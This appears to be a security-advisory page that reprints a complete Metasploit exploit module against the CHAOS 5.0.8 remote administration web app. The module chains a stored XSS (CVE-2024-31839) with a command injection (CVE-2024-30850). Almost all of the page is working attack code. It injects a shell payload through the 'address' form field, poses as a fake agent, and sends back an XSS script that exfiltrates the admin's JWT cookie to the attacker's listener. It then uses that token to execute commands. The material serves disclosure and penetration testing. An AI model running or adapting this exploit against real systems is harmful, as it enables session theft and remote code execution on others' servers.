CHAOS 5.0.8 Cross Site Scripting / Remote Command Execution

2024.05.22
Credit: h00die
Risk: High
Local: No
Remote: Yes
CWE: CWE-79
CWE-78

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer::HTML include Rex::Proto::Http::WebSocket def initialize(info = {}) super( update_info( info, 'Name' => 'Chaos RAT XSS to RCE', 'Description' => %q{ CHAOS v5.0.8 is a free and open-source Remote Administration Tool that allows generated binaries to control remote operating systems. The webapp contains a remote command execution vulnerability which can be triggered by an authenticated user when generating a new executable. The webapp also contains an XSS vulnerability within the view of a returned command being executed on an agent. Execution can happen through one of three routes: 1. Provided credentials can be used to execute the RCE directly 2. A JWT token from an agent can be provided to emulate a compromised host. If a logged in user attempts to execute a command on the host the returned value contains an xss payload. 3. Similar to technique 2, an agent executable can be provided and the JWT token can be extracted. Verified against CHAOS 7d5b20ad7e58e5b525abdcb3a12514b88e87cef2 running in a docker container. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'chebuya' # original PoC, analysis ], 'References' => [ [ 'URL', 'https://github.com/chebuya/CVE-2024-30850-chaos-rat-rce-poc'], [ 'URL', 'https://github.com/tiagorlampert/CHAOS'], [ 'CVE', '2024-31839'], # XSS [ 'CVE', '2024-30850'] # RCE ], 'Platform' => ['linux', 'unix'], 'Privileged' => false, 'Payload' => { 'BadChars' => ' ' }, 'Arch' => ARCH_CMD, 'Targets' => [ [ 'Automatic Target', {}] ], 'DefaultOptions' => { 'WfsDelay' => 3_600, # 1hr 'URIPATH' => '/' # avoid long URLs in xss payloads }, 'DisclosureDate' => '2024-04-10', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK] } ) ) register_options( [ Opt::RPORT(8080), OptString.new('USERNAME', [ false, 'User to login with']), # admin OptString.new('PASSWORD', [ false, 'Password to login with']), # admin OptString.new('TARGETURI', [ true, 'The URI of the Chaos Application', '/']), OptString.new('JWT', [ false, 'Agent JWT Token of the malware']), OptPath.new('AGENT', [ false, 'A Chaos Agent Binary']) ] ) register_advanced_options( [ OptString.new('AGENT_HOSTNAME', [ false, 'Hostname for a fake agent', 'DC01']), OptString.new('AGENT_USERNAME', [ false, 'Username for a fake agent', 'Administrator']), OptString.new('AGENT_USERID', [ false, 'User ID for a fake agent', 'Administrator']), OptEnum.new('AGENT_OS', [ false, 'OS for a fake agent', 'Windows', ['Windows', 'Linux']]), ] ) end def on_request_uri(cli, request) if request.method == 'GET' && @xss_response_received == false vprint_status('Received GET request.') return unless request.uri.include? '=' cookie = request.uri.split('jwt=')[1] print_good("Received cookie: #{cookie}") send_response_html(cli, '') @xss_response_received = true list_agents(cookie) rce(cookie) end send_response_html(cli, '') end def mac_address @mac_address ||= Faker::Internet.mac_address @mac_address end def check res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'method' => 'GET' ) return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil? return CheckCode::Safe("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code == 200 return CheckCode::Detected('Chaos application found') if res.body.include?('<title>CHAOS</title>') CheckCode::Safe('Chaos application not found') end def login vprint_status('Attempting login') res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'auth'), 'vars_post' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] } ) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") unless res.code == 200 res.get_cookies.scan(/jwt=([\w._-]+);*/).flatten[0] || '' end def rce(cookie) data = Rex::MIME::Message.new data.add_part("http://localhost\'$(#{payload.encoded})\'", nil, nil, 'form-data; name="address"') data.add_part('8080', nil, nil, 'form-data; name="port"') data.add_part('1', nil, nil, 'form-data; name="os_target"') # 1 windows, 2 linux data.add_part('', nil, nil, 'form-data; name="filename"') data.add_part('false', nil, nil, 'form-data; name="run_hidden"') post_data = data.to_s res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'generate'), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data, 'cookie' => "jwt=#{cookie}" ) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Shellcode rejected: #{res.body}") unless res.code == 200 end def convert_to_int_array(string) string.bytes.to_a end # Retrieve the server's response and pull out the command response. The return value is # the server's response value (or 1 on failure). def recv_wsframe_status(wsock) res = wsock.get_wsframe return 1 unless res begin res_json = JSON.parse(res.payload_data) rescue JSON::ParserError fail_with(Failure::UnexpectedReply, 'Failed to parse the returned JSON response.') end command = res_json['command'] return 1 if command.nil? command end def agent_command_handler(cookie) vprint_status('WebSocket connecting to receive commands') headers = { 'Cookie' => "jwt=#{cookie}", 'X-Client' => mac_address } wsock = connect_ws( 'uri' => normalize_uri(target_uri.path, 'client'), 'headers' => headers ) start_time = Time.now.to_i command = 1 while Time.now.to_i < start_time + datastore['WfsDelay'] begin Timeout.timeout(datastore['WfsDelay']) do command = recv_wsframe_status(wsock) end rescue Timeout::Error command = 1 end next if command == 1 vprint_good("Received agent command '#{command}', sending XSS in return") data = { 'client_id' => mac_address, # removed the rickroll from the PoC :( 'response' => convert_to_int_array("</pre><script>var i = new Image;i.src='http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/'+document.cookie;</script>"), 'has_error' => false } wsock.put_wsbinary(JSON.generate(data)) end print_status('Stopping WebSocket connection') end def agent_callback_checkin(cookie) start_time = Time.now.to_i while Time.now.to_i < start_time + datastore['WfsDelay'] print_status('Performing Callback Checkin') res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'health'), 'cookie' => "jwt=#{cookie}" ) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Checkin rejected: #{res.code}") unless res.code == 200 body = { hostname: datastore['AGENT_HOSTNAME'], username: datastore['AGENT_USERNAME'], user_id: datastore['AGENT_USERID'], os_name: datastore['AGENT_OS'], os_arch: 'amd64', mac_address: mac_address, local_ip_address: datastore['SRVHOST'], port: datastore['SRVPORT'].to_s, fetched_unix: Time.now.to_i } res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'device'), 'cookie' => "jwt=#{cookie}", 'data' => body.to_json ) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Checkin rejected: #{res.code}") unless res.code == 200 Rex.sleep(30) end print_status('Stopping Callback Checkin') end def fake_agent(server_cookie) # start callback checkins and command handler @threads = [] @threads << framework.threads.spawn('CHAOS-agent-callback', false) do agent_callback_checkin(server_cookie) end @threads << framework.threads.spawn('CHAOS-agent-command-handler', false) do agent_command_handler(server_cookie) end @threads.map do |t| t.join rescue StandardError => e print_error("Error in CHAOS Rat Threads: #{e}") end end # # Handle the HTTP request and return a response. Code borrowed from: # msf/core/exploit/http/server.rb # def start_http_service(opts = {}) # Start a new HTTP server @http_service = Rex::ServiceManager.start( Rex::Proto::Http::Server, (opts['ServerPort'] || bindport).to_i, opts['ServerHost'] || bindhost, datastore['SSL'], { 'Msf' => framework, 'MsfExploit' => self }, opts['Comm'] || _determine_server_comm(opts['ServerHost'] || bindhost), datastore['SSLCert'], datastore['SSLCompression'], datastore['SSLCipher'], datastore['SSLVersion'] ) @http_service.server_name = datastore['HTTP::server_name'] # Default the procedure of the URI to on_request_uri if one isn't # provided. uopts = { 'Proc' => method(:on_request_uri), 'Path' => resource_uri }.update(opts['Uri'] || {}) proto = (datastore['SSL'] ? 'https' : 'http') netloc = opts['ServerHost'] || bindhost http_srvport = (opts['ServerPort'] || bindport).to_i if (proto == 'http' && http_srvport != 80) || (proto == 'https' && http_srvport != 443) if Rex::Socket.is_ipv6?(netloc) netloc = "[#{netloc}]:#{http_srvport}" else netloc = "#{netloc}:#{http_srvport}" end end print_status("Listening for XSS response on: #{proto}://#{netloc}#{uopts['Path']}") # Add path to resource @service_path = uopts['Path'] @http_service.add_resource(uopts['Path'], uopts) end def list_agents(cookie) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'devices'), 'headers' => { 'cookie' => "jwt=#{cookie}" } ) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? soup = Nokogiri::HTML(res.body) rows = soup.css('tr') agent_table = Rex::Text::Table.new( 'Header' => 'Live Agents', 'Indent' => 1, 'Columns' => [ 'IP', 'OS', 'Username', 'Hostname', 'MAC' ] ) rows.each do |row| cells = row.css('td') next if cells.length != 7 agent_ip = cells[4].text.strip hostname = cells[1].text.strip agent_table << [agent_ip, cells[3].text.strip, cells[2].text.strip, hostname, cells[5].text.strip] report_host(host: agent_ip, name: hostname, os_name: cells[3].text.strip, info: "CHAOS C2 Agent Deployed, callback: #{datastore['RHOST']}") end print_good('Detected Agents') print_line(agent_table.to_s) end def exploit unless (datastore['USERNAME'] && datastore['PASSWORD']) || datastore['JWT'] || datastore['AGENT'] fail_with(Failure::BadConfig, 'Username and password, or JWT, or AGENT path required') end fail_with(Failure::BadConfig, 'SRVHOST can not be 0.0.0.0, must be a valid IP address') if Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0 @xss_response_received = false if datastore['USERNAME'] && datastore['PASSWORD'] print_status('Attempting exploitation through direct login') cookie = login rce(cookie) elsif datastore['JWT'] print_status('Attempting exploitation through JWT token') vprint_status("Fake MAC for agent: #{mac_address}") start_http_service fake_agent(datastore['JWT']) elsif datastore['AGENT'] print_status('Attempting exploitation through Agent') fail_with(Failure::BadConfig, 'AGENT file not found') unless File.file?(datastore['AGENT']) agent_exe = File.read(datastore['AGENT']) if agent_exe =~ /main\.ServerAddress=(((25[0-5]|(2[0-4]|1\d|[1-9]|)\d)\.?\b){4})/ server_address = ::Regexp.last_match(1) vprint_status("Server address: #{server_address}") end if agent_exe =~ /main\.Port=(\d{1,6})/ server_port = ::Regexp.last_match(1) vprint_status("Server port: #{server_port}") end if agent_exe =~ %r{main\.Token=([a-zA-Z0-9_.\-+/=]*\.[a-zA-Z0-9_.\-+/=]*\.[a-zA-Z0-9_.\-+/=]*)} server_cookie = ::Regexp.last_match(1) vprint_status("Server JWT Token: #{server_cookie}") end fail_with(Failure::BadConfig, 'JWT token not found in agent executable') unless server_cookie vprint_status("Fake MAC for agent: #{mac_address}") start_http_service fake_agent(server_cookie) end end def cleanup # Clean and stop HTTP server if @http_service begin @http_service.remove_resource(datastore['URIPATH']) @http_service.deref @http_service.stop @http_service = nil rescue StandardError => e print_error("Failed to stop http server due to #{e}") end end @threads.each(&:kill) unless @threads.nil? # no need for these anymore super end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top